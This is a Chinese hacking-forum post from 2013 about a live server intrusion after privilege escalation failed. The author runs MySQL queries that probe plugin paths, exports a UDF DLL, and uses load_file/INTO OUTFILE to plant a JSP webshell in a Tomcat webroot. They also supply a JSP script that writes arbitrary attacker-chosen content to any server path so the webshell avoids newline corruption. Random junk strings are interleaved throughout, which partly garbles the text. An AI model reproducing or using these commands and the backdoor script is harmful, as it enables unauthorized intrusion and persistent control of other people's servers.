找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2517|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
; U" E( n) ~" A! @- a" I) M% k, S
8 A( A7 |: A& M3 n4 ~$ a9 a首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
8 I3 T- _* u( v8 t+ S/ R' B安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
; \6 [! r. y4 W6 ~提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了% Y) }2 Q8 X; e9 }: s8 l0 l  i* ?% k
1 show variables like '%plugin%';
8 n2 o) n* z& W  _' a' U% C# E% [1 L后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功0 i7 y" z9 O6 W. O* Z
创建自定义函数似乎被拦截,一直失败。5 @& p3 Z, B1 w/ @* [! s: w; F5 ?# r
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限1 M( T7 g( }+ L) B4 r- A
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
6 ^% e; ^. D4 q! E; P$ t& N# Q用mysql执行语句:. o# y2 K3 b7 O3 B
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
, D0 `: J, W6 E! k) |2 复制代码8 x# z; @, H- p% |
后成功。
% q. W$ J/ p  C! R$ g5 l但是访问后得到如下提示:
, x2 h" d$ k% ^# J0 B+ B  q​500页面
. Z1 a/ d: m, p3 J& J; S  k5 m& }7 ?0 H* I# }) w7 n; R
5 T# h9 q$ I( O
明显是MySQL的Win下版本自动添加转义符\n\r了5 H  L+ n6 e* F. u& Z0 _3 e4 ^
这样导致程序运行的悲剧。
4 d3 X* q& K' W: N6 G6 t1 L从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
+ {" `/ N. G9 j2 O7 z$ S! F, q最后弄了这么个小脚本:; O) `1 c5 d) F' [- }( g9 i
01 <%@ page language="java" pageEncoding="gbk"%>3 }5 c/ d4 L# U/ ?1 {- J+ Y9 Y
02 <jsp:directive.page import="java.io.File"/>. V; v% t8 M2 F5 P
03 <jsp:directive.page import="java.io.OutputStream"/>
! L/ N0 g$ I5 K( m. P6 L04 <jsp:directive.page import="java.io.FileOutputStream"/>; b! F0 I6 e9 y
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
4 L5 x' P6 O( D$ i7 p1 R06 error www.2cto.com" t  `* b5 h: d: }9 t
07 <%}}if(i==0){%>
: a$ K2 s$ x7 x5 _$ p1 R3 s; x2 Y. S08 ok/ k1 R5 P( P" h0 o8 @
09 <%}%>+ X6 f7 ~- x7 K9 O* |. b% `
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
1 ?9 x  V" o7 ^: c6 ?  E, @就可以避免转义符让JSP的马儿运行500错误了。, v$ s# g! {' ~$ N* ?2 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表